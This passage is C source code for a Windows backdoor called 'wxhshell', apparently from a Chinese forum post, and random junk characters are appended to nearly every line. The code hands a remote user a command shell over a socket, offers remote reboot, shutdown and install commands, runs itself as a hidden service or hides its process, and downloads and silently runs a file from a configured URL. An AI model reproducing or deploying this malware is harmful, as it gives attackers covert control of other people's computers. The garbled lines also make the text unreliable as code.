  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .0MY$0s  
  } 2#s8Dxt  
  else { U U#tm  
;jBS:k?  
    switch(cmd[0]) { ?A-f_0<0  
  N:%Nq8I}:  
  // 帮助 **.23<n^W  
  case '?': { KDj/S-S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D$E#:[  
    break; FU;a { irB  
  } "Jdi>{o8  
  // 安装 \C{Zqo,  
  case 'i': { ^AERGB\36  
    if(Install()) zjzEmX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -z%->OUu  
    else KEf1GU6s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;j+*}|!  
    break; qx*N-,M%k(  
    } QP>F *A  
  // 卸载 *e:2iM)8~  
  case 'r': { tvJl&{-OX  
    if(Uninstall()) z 0F55<i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {aUv>T"c  
    else 9#kk5)J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Rxrt~ ZB  
    break; v9(N}hoP  
    } RJ{J~-q{  
  // 显示 wxhshell 所在路径 ?~cO\(TY["  
  case 'p': { qac:"z'9  
    char svExeFile[MAX_PATH]; lA`-"  
    strcpy(svExeFile,"\n\r"); 'pF$6n;  
      strcat(svExeFile,ExeFile); 12Fnv/[n'K  
        send(wsh,svExeFile,strlen(svExeFile),0); nP|ah~ q  
    break; s!1/Bm|_T  
    } v?n# C  
  // 重启 T7l,}G  
  case 'b': { p4kK" \ln  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @X=sfygk  
    if(Boot(REBOOT)) R[TaP 7n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g4;|uK;  
    else { f lt'~fe  
    closesocket(wsh); 4ywtE}mp  
    ExitThread(0); dP#7ev]'  
    } gADqIPu]  
    break; k?/!`   
    } Yq:/dpA_  
  // 关机 /nEK|.j  
  case 'd': { U.ZA%De  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?}EWfsA  
    if(Boot(SHUTDOWN)) yA7O<p+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -^8OjGat  
    else { Y^|15ek  
    closesocket(wsh); Yk*_u}?#  
    ExitThread(0); V9%9nR!'  
    } R@`xS<`L/  
    break; P$3!4D[  
    } L3j ~Ooo  
  // 获取shell S(rnVsW%Ki  
  case 's': { !"aGo1 $$  
    CmdShell(wsh); {96NtR0Z  
    closesocket(wsh); > :0N)Pj  
    ExitThread(0); ^E%NYq_2l<  
    break; {7v|\6@e3  
  } =c]We:I  
  // 退出 E;"VI2F  
  case 'x': { %f(4jQ0I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dhk$e  
    CloseIt(wsh); B =DV!oUg  
    break; t*Z-]P  
    } r\y\]AmF  
  // 离开 7dlMDHp\Y  
  case 'q': { n"R$b:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'uwq^b_  
    closesocket(wsh); Oe^9pH,1t  
    WSACleanup(); -vt6n1A&b  
    exit(1); ' |M} 3sL  
    break; :73T9/  
        } R80|q#h,]  
  } d Z+7S`{  
  } g26 l:1P  
kjSzu qB  
  // 提示信息 HhzPKd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P)ne^_   
} [yRqSB  
  } c|4_nT 2  
6O@Lx ]t  
  return; w}29#F\]R  
} 48!F!v,j)x  
475jmQ{q  
// shell模块句柄 d 5h x%M  
int CmdShell(SOCKET sock) ~{6}SXp4U  
{ XU}" h&>  
STARTUPINFO si; T8j<\0WW  
ZeroMemory(&si,sizeof(si)); V7+/|P_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^q<EnsY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }5X.*wz  
PROCESS_INFORMATION ProcessInfo; eE{ 2{C  
char cmdline[]="cmd"; )EN ,Ry  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6-nf+!#G  
  return 0; sr:hR Q27  
} rhN"#?  
@*$"6!3s5  
// 自身启动模式  ~"h V-3U  
int StartFromService(void) Q|g>ga-a  
{ 8#Y_]Z?)  
typedef struct pFwe&_u]  
{ AUl[h&s  
  DWORD ExitStatus; Q2!RFtXV  
  DWORD PebBaseAddress; Q%t _Epe  
  DWORD AffinityMask; wJ7Fnj>u%  
  DWORD BasePriority; ASNo6dP 7  
  ULONG UniqueProcessId; >DW%i\k1V~  
  ULONG InheritedFromUniqueProcessId; li~=85 J  
}   PROCESS_BASIC_INFORMATION; [,|4%Y  
.O PBET(gv  
PROCNTQSIP NtQueryInformationProcess; Ba n^wX  
vNU[K%U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HA0yX?f]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  o7AI  
_Aw-{HE'  
  HANDLE             hProcess; QW%xwV?8  
  PROCESS_BASIC_INFORMATION pbi; iM]&ryGB#  
a & 6-QVk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I>>X-}  
  if(NULL == hInst ) return 0; qPCI@5n3T?  
az Oib=3fz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'EkjySZ]F{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X|60W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XJ3aaMh"  
hrbeTtqi  
  if (!NtQueryInformationProcess) return 0; yGb^kR}d  
"K*^%{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c*)PS`]t  
  if(!hProcess) return 0; &Fch{%S>  
1 ,6Y)_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #YLI"/Kn  
r / L  
  CloseHandle(hProcess); 8p~|i97W]!  
PMiG:bM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cLMFC1=b  
if(hProcess==NULL) return 0; ?&.Eg^a"  
hHsO?([99  
HMODULE hMod; {^K&9sz  
char procName[255]; e73zpF  
unsigned long cbNeeded; HOVzpj  
"3NE%1T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]@sLX ek  
x4@IK|CE  
  CloseHandle(hProcess); 1.j;Xo/+:V  
8#a2 kR<b  
if(strstr(procName,"services")) return 1; // 以服务启动 $yMNdBI[  
vslN([@JR  
  return 0; // 注册表启动 Oxh . &  
} 5U(ry6fI=  
Il<ezD{  
// 主模块 t$*CyYb{@  
int StartWxhshell(LPSTR lpCmdLine) /I q6'oo  
{ %XZdz =B  
  SOCKET wsl; @X#e  
BOOL val=TRUE; }Ym~[S*x  
  int port=0; 5E\&O%W"  
  struct sockaddr_in door; u_ym=N57`  
7vK}aOs0  
  if(wscfg.ws_autoins) Install(); _l](dqyuN(  
dn= g!=  
port=atoi(lpCmdLine); 62J -)~_  
BO-=X 78f@  
if(port<=0) port=wscfg.ws_port; /;r k-I  
J(x42Q}*S  
  WSADATA data; 7Ust7%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q 1e hW  
Kj*:G!r0.:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %%k`+nK~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k&\ 6SK/  
  door.sin_family = AF_INET; lnRbvulH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MIWI0bnf  
  door.sin_port = htons(port); !4!Y~7sI"\  
8{J{)gF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v8o{3wJ  
closesocket(wsl); 1$ ~W~O  
return 1; i^u5j\pfY*  
} [|\BuUT'  
ih/MW_t=m=  
  if(listen(wsl,2) == INVALID_SOCKET) { F;_L/8Ov1  
closesocket(wsl); ?W4IAbT\G  
return 1; Fm{`?!  
} ` SO"F,  
  Wxhshell(wsl); 4F>?G{ci  
  WSACleanup(); gdyP,zMD7  
tV,Y38e  
return 0; `O|PP3S  
or1D 6 *'  
} &B5@\Hd;  
)6:nJ"j#  
// 以NT服务方式启动 g{?]a'?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f_GqJ7Gk]  
{ .ahYj n  
DWORD   status = 0; GT} =(sD L  
  DWORD   specificError = 0xfffffff; :TzHI    
+c^[[ K"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hZ@Wl6FG;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fi^Q]9.@{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @.Pe.\Z  
  serviceStatus.dwWin32ExitCode     = 0; -Am ~CM  
  serviceStatus.dwServiceSpecificExitCode = 0; S+EC!;@Xg  
  serviceStatus.dwCheckPoint       = 0; -h<Rby  
  serviceStatus.dwWaitHint       = 0; SMdQ,n1]  
amK.H"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O7z -4r  
  if (hServiceStatusHandle==0) return; &jHnM^nQ  
@4N@cM0   
status = GetLastError(); vg5 ;F[e  
  if (status!=NO_ERROR) C!8XFf8e  
{ _n;V iQMu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t K+K lz  
    serviceStatus.dwCheckPoint       = 0; ;8 D31OT  
    serviceStatus.dwWaitHint       = 0; YI*Av+Z)  
    serviceStatus.dwWin32ExitCode     = status; lJloa'%v9  
    serviceStatus.dwServiceSpecificExitCode = specificError; F(i@Gm=J]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kU5chltGF  
    return; <ZV !fn  
  } :3# t;  
76rNs|z~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i|5K4Puu  
  serviceStatus.dwCheckPoint       = 0; ^Fr82rJs  
  serviceStatus.dwWaitHint       = 0; W=$d|*$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]#N~r&hmQ  
} Jn_;  cN  
*hp3w  
// 处理NT服务事件,比如:启动、停止 W:^\Oe5&a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %usy`4 2  
{ O)qedy*&  
switch(fdwControl) $DOBC@xxzT  
{ ?-P]m&nh|  
case SERVICE_CONTROL_STOP: W^Jh'^E  
  serviceStatus.dwWin32ExitCode = 0; )kSE5|:pi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~97T0{E3  
  serviceStatus.dwCheckPoint   = 0; 1} {bHj  
  serviceStatus.dwWaitHint     = 0; ^y,% Tv>  
  { i-'rS/R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `)[bu  
  } tU02t#8  
  return; !dVth)UV  
case SERVICE_CONTROL_PAUSE: 0\*6U H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E5P?(5Nv  
  break; # 4AyA$t  
case SERVICE_CONTROL_CONTINUE: '1[}PmhD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +IiL(\ew  
  break; OYEL`!Q  
case SERVICE_CONTROL_INTERROGATE: t7#C&B  
  break; xe;1D'(   
}; vt3yCS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W[]N.d7G  
} E.$1CGd+  
&>I4-D[  
// 标准应用程序主函数 777N0,o(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /XG4O  
{ iD)R*vnAi  
^@'LF T)  
// 获取操作系统版本 e 'I13)  
OsIsNt=GetOsVer(); x(nWyVB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >W= 0N (  
6e6~82t8/  
  // 从命令行安装 V/Q~NX N  
  if(strpbrk(lpCmdLine,"iI")) Install(); [.O 3z*[9#  
ewYZ} "o  
  // 下载执行文件 7tgn"wK  
if(wscfg.ws_downexe) { 3[: |)i)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jrGVC2*rD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5gV%jQgkC  
} =IH z@CU  
!xm87I  
if(!OsIsNt) { $F!)S  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ 1rw\Zp  
HideProc(); , 4Vr,?"EO  
StartWxhshell(lpCmdLine); I^pD=1Y]  
} /jdq7CF  
else B1]dub9  
  if(StartFromService()) V#:`:-$$+  
  // 以服务方式启动 75j`3wzu  
  StartServiceCtrlDispatcher(DispatchTable); -MrEJ  
else F2yc&mXyk  
  // 普通方式启动 P%hi*0pwZ  
  StartWxhshell(lpCmdLine); 1=x4m=wV  
KXEDpr  
return 0; %UuV^C  
}
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只看该作者 1 发表于: 2006-10-10
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